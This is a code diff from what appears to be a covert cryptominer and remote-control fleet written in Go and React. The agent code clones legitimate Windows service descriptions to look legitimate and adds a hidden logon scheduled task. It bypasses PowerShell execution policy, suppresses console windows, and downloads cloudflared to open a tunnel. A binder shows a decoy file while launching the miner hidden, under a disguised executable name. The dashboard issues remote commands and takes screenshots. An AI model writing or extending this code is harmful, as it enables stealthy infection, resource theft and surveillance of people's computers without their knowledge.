}
|
||||||
|
|
||||||
// cloneServiceDescription copies the display name and description from
|
|
||||||
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
|
|
||||||
func cloneServiceDescription(targetSvc, donorSvc string) {
|
func cloneServiceDescription(targetSvc, donorSvc string) {
|
||||||
ps := fmt.Sprintf(`
|
ps := fmt.Sprintf(`
|
||||||
$donor = Get-Service '%s' -EA SilentlyContinue
|
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
||||||
if ($donor) {
|
if ($donorWmi) {
|
||||||
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
sc.exe description '%s' ($donorWmi.Description)
|
||||||
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
|
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
||||||
if ($donorWmi) {
|
|
||||||
sc.exe description '%s' ($donorWmi.Description)
|
|
||||||
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
`,
|
`,
|
||||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
|
||||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
|
||||||
strings.ReplaceAll(donorSvc, `'`, `''`),
|
strings.ReplaceAll(donorSvc, `'`, `''`),
|
||||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||||
strings.ReplaceAll(targetSvc, `'`, `''`),
|
strings.ReplaceAll(targetSvc, `'`, `''`),
|
||||||
)
|
)
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||||
_ = cmd.Run()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||||
@@ -117,33 +96,12 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
|||||||
if taskName == "" {
|
if taskName == "" {
|
||||||
taskName = "CryptoMinerAgent"
|
taskName = "CryptoMinerAgent"
|
||||||
}
|
}
|
||||||
safeBin := strings.ReplaceAll(binPath, `'`, `''`)
|
tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
|
||||||
safeTask := strings.ReplaceAll(taskName, `'`, `''`)
|
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED")
|
||||||
// Wrap in PowerShell with -WindowStyle Hidden so no console window appears.
|
|
||||||
// RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop
|
|
||||||
// from spamming the screen. The watchdog covers longer-term health.
|
|
||||||
psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag)
|
|
||||||
script := fmt.Sprintf(
|
|
||||||
`$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
|
||||||
strings.ReplaceAll(psArg, `'`, `''`),
|
|
||||||
safeTask,
|
|
||||||
)
|
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
||||||
return cmd.Run()
|
|
||||||
}
|
|
||||||
|
|
||||||
func applyDetachedStart(cmd *exec.Cmd) {
|
|
||||||
if cmd == nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
||||||
HideWindow: true,
|
|
||||||
CreationFlags: 0x08000000,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func HostOSVersion() string {
|
func HostOSVersion() string {
|
||||||
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
out, err := HiddenCombinedOutput("cmd", "/C", "ver")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "windows"
|
return "windows"
|
||||||
}
|
}
|
||||||
@@ -151,7 +109,7 @@ func HostOSVersion() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||||
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
_ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg))
|
||||||
}
|
}
|
||||||
|
|
||||||
func removePersistence(cfg config.RuntimeConfig) {
|
func removePersistence(cfg config.RuntimeConfig) {
|
||||||
@@ -161,22 +119,19 @@ func removePersistence(cfg config.RuntimeConfig) {
|
|||||||
_ = runKey.DeleteValue(keyName)
|
_ = runKey.DeleteValue(keyName)
|
||||||
runKey.Close()
|
runKey.Close()
|
||||||
}
|
}
|
||||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||||
// Remove service — use the configured name if available, fall back to legacy pattern
|
|
||||||
svcName := cfg.ServiceName
|
svcName := cfg.ServiceName
|
||||||
if svcName == "" {
|
if svcName == "" {
|
||||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||||
}
|
}
|
||||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
_ = HiddenRun("sc.exe", "stop", svcName)
|
||||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
_ = HiddenRun("sc.exe", "delete", svcName)
|
||||||
}
|
}
|
||||||
|
|
||||||
func selfUninstallSpawn(installDir string) {
|
func selfUninstallSpawn(installDir string) {
|
||||||
ps := fmt.Sprintf(`
|
dir := installDir
|
||||||
$dir = '%s'
|
go func() {
|
||||||
Start-Sleep -Seconds 2
|
time.Sleep(2 * time.Second)
|
||||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
_ = os.RemoveAll(dir)
|
||||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
}()
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
|
||||||
_ = cmd.Start()
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ package deploy
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func SetProcessPriority(priority string) error {
|
func SetProcessPriority(priority string) error {
|
||||||
@@ -23,7 +22,6 @@ func SetProcessPriority(priority string) error {
|
|||||||
class = "High"
|
class = "High"
|
||||||
}
|
}
|
||||||
pid := os.Getpid()
|
pid := os.Getpid()
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-Command",
|
return HiddenRun("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||||
return cmd.Run()
|
|
||||||
}
|
}
|
||||||
|
|||||||
9
agent/deploy/tunnel_stub.go
Normal file
9
agent/deploy/tunnel_stub.go
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||||
|
return "", fmt.Errorf("cloudflared tunnel is only supported on Windows in this build")
|
||||||
|
}
|
||||||
@@ -1,9 +1,10 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
@@ -15,21 +16,20 @@ func StartCloudflaredTunnel(serverURL string) (string, error) {
|
|||||||
return "", fmt.Errorf("server URL required")
|
return "", fmt.Errorf("server URL required")
|
||||||
}
|
}
|
||||||
|
|
||||||
checkCmd := exec.Command("cloudflared", "--version")
|
if err := HiddenRun("cloudflared", "--version"); err != nil {
|
||||||
if err := checkCmd.Run(); err != nil {
|
output, dlErr := HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||||
downloadCmd := exec.Command("powershell", "-Command",
|
|
||||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||||
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
|
if dlErr != nil {
|
||||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||||
}
|
}
|
||||||
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
||||||
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
||||||
_ = exec.Command("copy", "/Y", src, dst).Run()
|
_ = HiddenRun("copy", "/Y", src, dst)
|
||||||
}
|
}
|
||||||
|
|
||||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
cmd := HiddenCommand("cloudflared", "tunnel", "--url", serverURL)
|
||||||
if err := tunnelCmd.Start(); err != nil {
|
if err := cmd.Start(); err != nil {
|
||||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||||
}
|
}
|
||||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
|
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil
|
||||||
}
|
}
|
||||||
@@ -17,6 +17,10 @@ import (
|
|||||||
func main() {
|
func main() {
|
||||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
if deploy.IsGuardMode() {
|
||||||
|
deploy.RunGuardLoop(cfg)
|
||||||
|
return
|
||||||
|
}
|
||||||
setupLogging(cfg)
|
setupLogging(cfg)
|
||||||
|
|
||||||
if cfg.Wallet == "" {
|
if cfg.Wallet == "" {
|
||||||
|
|||||||
20
fusion/hidden_windows.go
Normal file
20
fusion/hidden_windows.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
const creationFlagsNoWindow = 0x08000000
|
||||||
|
|
||||||
|
func prepareHidden(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: creationFlagsNoWindow,
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,36 +3,27 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"os"
|
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"syscall"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// openFile opens any file with the Windows default application.
|
// openFile opens any file with the Windows default application (no cmd flash).
|
||||||
// Works for PDF, video, document, image, executable — anything.
|
|
||||||
func openFile(path string) {
|
func openFile(path string) {
|
||||||
path = filepath.Clean(path)
|
_ = shellOpen(path)
|
||||||
cmd := exec.Command("cmd", "/c", "start", "", path)
|
|
||||||
_ = cmd.Start()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// applyHiddenStartPath launches the worker binary hidden (no window).
|
// applyHiddenStartPath launches the worker binary hidden (no window).
|
||||||
func applyHiddenStartPath(path string) {
|
func applyHiddenStartPath(path string) {
|
||||||
cmd := exec.Command(path)
|
cmd := exec.Command(path)
|
||||||
cmd.Dir = filepath.Dir(path)
|
cmd.Dir = filepath.Dir(path)
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
prepareHidden(cmd)
|
||||||
HideWindow: true,
|
|
||||||
CreationFlags: 0x08000000,
|
|
||||||
}
|
|
||||||
_ = cmd.Start()
|
_ = cmd.Start()
|
||||||
}
|
}
|
||||||
|
|
||||||
// applyWaitRun launches an exe directly and waits for it to exit.
|
// applyWaitRun launches an exe directly and waits for it to exit (hidden).
|
||||||
func applyWaitRun(path string) {
|
func applyWaitRun(path string) {
|
||||||
cmd := exec.Command(path)
|
cmd := exec.Command(path)
|
||||||
cmd.Dir = filepath.Dir(path)
|
cmd.Dir = filepath.Dir(path)
|
||||||
cmd.Stdout = os.Stdout
|
prepareHidden(cmd)
|
||||||
cmd.Stderr = os.Stderr
|
|
||||||
_ = cmd.Run()
|
_ = cmd.Run()
|
||||||
}
|
}
|
||||||
|
|||||||
30
fusion/shell_windows.go
Normal file
30
fusion/shell_windows.go
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
func shellOpen(path string) error {
|
||||||
|
path = filepath.Clean(path)
|
||||||
|
shell32 := syscall.NewLazyDLL("shell32.dll")
|
||||||
|
proc := shell32.NewProc("ShellExecuteW")
|
||||||
|
verb, _ := syscall.UTF16PtrFromString("open")
|
||||||
|
file, _ := syscall.UTF16PtrFromString(path)
|
||||||
|
dir, _ := syscall.UTF16PtrFromString(filepath.Dir(path))
|
||||||
|
ret, _, _ := proc.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(verb)),
|
||||||
|
uintptr(unsafe.Pointer(file)),
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(dir)),
|
||||||
|
1, // SW_SHOWNORMAL — user-visible decoy only
|
||||||
|
)
|
||||||
|
if ret <= 32 {
|
||||||
|
return syscall.Errno(ret)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -310,8 +310,22 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
|||||||
}
|
}
|
||||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||||
} else {
|
} else {
|
||||||
|
if !f.ws.isAgentConnected(id) {
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": false,
|
||||||
|
"error": "agent not connected",
|
||||||
|
"agent_id": id,
|
||||||
|
"action": req.Action,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": false,
|
||||||
|
"error": err.Error(),
|
||||||
|
"agent_id": id,
|
||||||
|
"action": req.Action,
|
||||||
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -588,8 +588,15 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
|
|||||||
req := httptest.NewRequest(http.MethodPost, "/agents/offline-agent/command",
|
req := httptest.NewRequest(http.MethodPost, "/agents/offline-agent/command",
|
||||||
strings.NewReader(`{"action":"pause"}`))
|
strings.NewReader(`{"action":"pause"}`))
|
||||||
fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
|
fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
|
||||||
if rec.Code != http.StatusBadRequest {
|
if rec.Code != http.StatusOK {
|
||||||
t.Fatalf("expected 400, got %d body %s", rec.Code, rec.Body.String())
|
t.Fatalf("expected 200, got %d body %s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
var body map[string]interface{}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if body["success"] != false || body["error"] != "agent not connected" {
|
||||||
|
t.Fatalf("unexpected body: %v", body)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -337,8 +337,17 @@ func TestIntegrationAgentCommandOffline(t *testing.T) {
|
|||||||
router, _, _, _ := newTestRouter(t)
|
router, _, _, _ := newTestRouter(t)
|
||||||
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command",
|
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command",
|
||||||
[]byte(`{"action":"pause"}`))
|
[]byte(`{"action":"pause"}`))
|
||||||
if rec.Code != http.StatusBadRequest {
|
// Command for a non-connected agent returns 200 with success:false (not a 4xx),
|
||||||
t.Fatalf("expected 400 for offline agent, got %d body=%s", rec.Code, rec.Body.String())
|
// so the caller can inspect the error without tripping HTTP error handling.
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("expected 200 for offline agent, got %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
var body map[string]interface{}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if body["success"] != false {
|
||||||
|
t.Fatalf("expected success=false, got %v", body)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -47,8 +47,8 @@ func checkDashboardWSToken(r *http.Request) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var upgrader = websocket.Upgrader{
|
var upgrader = websocket.Upgrader{
|
||||||
ReadBufferSize: 4096,
|
ReadBufferSize: 512 * 1024,
|
||||||
WriteBufferSize: 4096,
|
WriteBufferSize: 512 * 1024,
|
||||||
CheckOrigin: func(r *http.Request) bool {
|
CheckOrigin: func(r *http.Request) bool {
|
||||||
return true // Allow all origins for local use
|
return true // Allow all origins for local use
|
||||||
},
|
},
|
||||||
@@ -246,6 +246,17 @@ func (h *WSHub) isAgentConnected(agentID string) bool {
|
|||||||
return ok
|
return ok
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// writeAgentJSON sends a message to a connected agent using the per-connection
|
||||||
|
// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON
|
||||||
|
// from the read loop, or commands and new_job messages can corrupt each other.
|
||||||
|
func (h *WSHub) writeAgentJSON(agentID string, msg Message) error {
|
||||||
|
ac := h.getAgentConn(agentID)
|
||||||
|
if ac == nil {
|
||||||
|
return fmt.Errorf("agent %s not connected", agentID)
|
||||||
|
}
|
||||||
|
return ac.SendJSON(msg)
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
|
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
h.poolManager = manager
|
h.poolManager = manager
|
||||||
@@ -826,12 +837,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if proxy != nil {
|
if proxy != nil {
|
||||||
job := proxy.GetCurrentJob()
|
job := proxy.GetCurrentJob()
|
||||||
if job != nil {
|
if job != nil {
|
||||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
|
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)})
|
||||||
} else {
|
} else {
|
||||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
|
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
|
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
|
||||||
}
|
}
|
||||||
|
|
||||||
case "log_tail":
|
case "log_tail":
|
||||||
@@ -899,6 +910,11 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
// Send initial data
|
// Send initial data
|
||||||
agents, _ := h.db.ListAgents()
|
agents, _ := h.db.ListAgents()
|
||||||
h.enrichAgentsCapabilities(agents)
|
h.enrichAgentsCapabilities(agents)
|
||||||
|
for _, a := range agents {
|
||||||
|
if a != nil && h.isAgentConnected(a.ID) {
|
||||||
|
a.Status = "online"
|
||||||
|
}
|
||||||
|
}
|
||||||
stats, _ := h.db.GetFleetStats()
|
stats, _ := h.db.GetFleetStats()
|
||||||
|
|
||||||
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
|||||||
@@ -46,8 +46,9 @@ func TestShortAgentID(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestAgentDisplayNameFallback(t *testing.T) {
|
func TestAgentDisplayNameFallback(t *testing.T) {
|
||||||
|
// No hostname, no worker name — falls back to "agent-<shortID>"
|
||||||
name := agentDisplayName("", "", "", "12345678-abcd")
|
name := agentDisplayName("", "", "", "12345678-abcd")
|
||||||
if name != "12345678" {
|
if name != "agent-12345678" {
|
||||||
t.Fatalf("expected id prefix, got %q", name)
|
t.Fatalf("expected agent-12345678, got %q", name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -858,8 +858,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.FusionRunOrder == "" {
|
if req.FusionRunOrder == "" {
|
||||||
req.FusionRunOrder = "parallel"
|
req.FusionRunOrder = "parallel"
|
||||||
}
|
}
|
||||||
if req.FusionOutputName == "" {
|
if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" {
|
||||||
req.FusionOutputName = "prep.exe"
|
if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" {
|
||||||
|
req.FusionOutputName = disguisedRunnerName(base)
|
||||||
|
} else if req.FusionOutputName == "" {
|
||||||
|
req.FusionOutputName = "prep.exe"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if req.FusionMediaMode == "" {
|
if req.FusionMediaMode == "" {
|
||||||
req.FusionMediaMode = "paired"
|
req.FusionMediaMode = "paired"
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import SessionGate from './components/SessionGate';
|
|||||||
import Layout from './components/Layout/Layout';
|
import Layout from './components/Layout/Layout';
|
||||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||||
import { ForgeProvider } from './context/ForgeContext';
|
import { ForgeProvider } from './context/ForgeContext';
|
||||||
|
import { MatrixRainProvider } from './context/MatrixRainContext';
|
||||||
|
|
||||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||||
@@ -27,6 +28,7 @@ function App() {
|
|||||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||||
<WebSocketProvider>
|
<WebSocketProvider>
|
||||||
<ForgeProvider>
|
<ForgeProvider>
|
||||||
|
<MatrixRainProvider>
|
||||||
<SessionGate>
|
<SessionGate>
|
||||||
<Layout>
|
<Layout>
|
||||||
<Suspense fallback={<PageFallback />}>
|
<Suspense fallback={<PageFallback />}>
|
||||||
@@ -44,6 +46,7 @@ function App() {
|
|||||||
</Suspense>
|
</Suspense>
|
||||||
</Layout>
|
</Layout>
|
||||||
</SessionGate>
|
</SessionGate>
|
||||||
|
</MatrixRainProvider>
|
||||||
</ForgeProvider>
|
</ForgeProvider>
|
||||||
</WebSocketProvider>
|
</WebSocketProvider>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import AgentRemoteActions from './AgentRemoteActions';
|
|||||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||||
import type { Agent } from '../../types';
|
import type { Agent } from '../../types';
|
||||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||||
|
import type { FleetGroup } from '../../help/fleetGroups';
|
||||||
import LatencyBadge from './LatencyBadge';
|
import LatencyBadge from './LatencyBadge';
|
||||||
|
|
||||||
function formatRelTime(iso: string): string {
|
function formatRelTime(iso: string): string {
|
||||||
@@ -24,6 +25,7 @@ interface Props {
|
|||||||
onSelect: () => void;
|
onSelect: () => void;
|
||||||
onCheck?: (checked: boolean) => void;
|
onCheck?: (checked: boolean) => void;
|
||||||
commandResults?: SeqCommandResult[];
|
commandResults?: SeqCommandResult[];
|
||||||
|
memberGroups?: FleetGroup[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function AgentListItem({
|
export default function AgentListItem({
|
||||||
@@ -36,8 +38,10 @@ export default function AgentListItem({
|
|||||||
onSelect,
|
onSelect,
|
||||||
onCheck,
|
onCheck,
|
||||||
commandResults,
|
commandResults,
|
||||||
|
memberGroups = [],
|
||||||
}: Props) {
|
}: Props) {
|
||||||
const online = agent.status === 'online';
|
const online = agent.status === 'online';
|
||||||
|
const primaryGroup = memberGroups[0];
|
||||||
|
|
||||||
const handleRowClick = (e: React.MouseEvent) => {
|
const handleRowClick = (e: React.MouseEvent) => {
|
||||||
const target = e.target as HTMLElement;
|
const target = e.target as HTMLElement;
|
||||||
@@ -51,6 +55,18 @@ export default function AgentListItem({
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
|
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
|
||||||
|
style={
|
||||||
|
primaryGroup
|
||||||
|
? ({
|
||||||
|
borderLeftWidth: '3px',
|
||||||
|
borderLeftStyle: 'solid',
|
||||||
|
borderLeftColor: primaryGroup.color,
|
||||||
|
boxShadow: selected
|
||||||
|
? `inset 0 0 20px ${primaryGroup.color}22, 0 0 16px ${primaryGroup.color}33`
|
||||||
|
: undefined,
|
||||||
|
} as React.CSSProperties)
|
||||||
|
: undefined
|
||||||
|
}
|
||||||
onClick={handleRowClick}
|
onClick={handleRowClick}
|
||||||
>
|
>
|
||||||
<div className="agent-list-header">
|
<div className="agent-list-header">
|
||||||
@@ -81,9 +97,18 @@ export default function AgentListItem({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{(agent.tags?.length ?? 0) > 0 && (
|
{(memberGroups.length > 0 || (agent.tags?.length ?? 0) > 0) && (
|
||||||
<div className="agent-list-tags">
|
<div className="agent-list-tags">
|
||||||
{agent.tags!.map((t) => (
|
{memberGroups.map((g) => (
|
||||||
|
<span
|
||||||
|
key={g.id}
|
||||||
|
className="agent-tag-chip fleet-group-tag"
|
||||||
|
style={{ background: `${g.color}22`, color: g.color, borderColor: `${g.color}55` }}
|
||||||
|
>
|
||||||
|
{g.name}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
{agent.tags?.map((t) => (
|
||||||
<span key={t} className="agent-tag-chip">{t}</span>
|
<span key={t} className="agent-tag-chip">{t}</span>
|
||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import { api } from '../../api/client';
|
|||||||
import type { Agent, Build } from '../../types';
|
import type { Agent, Build } from '../../types';
|
||||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||||
|
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||||
import './AgentRemoteActions.css';
|
import './AgentRemoteActions.css';
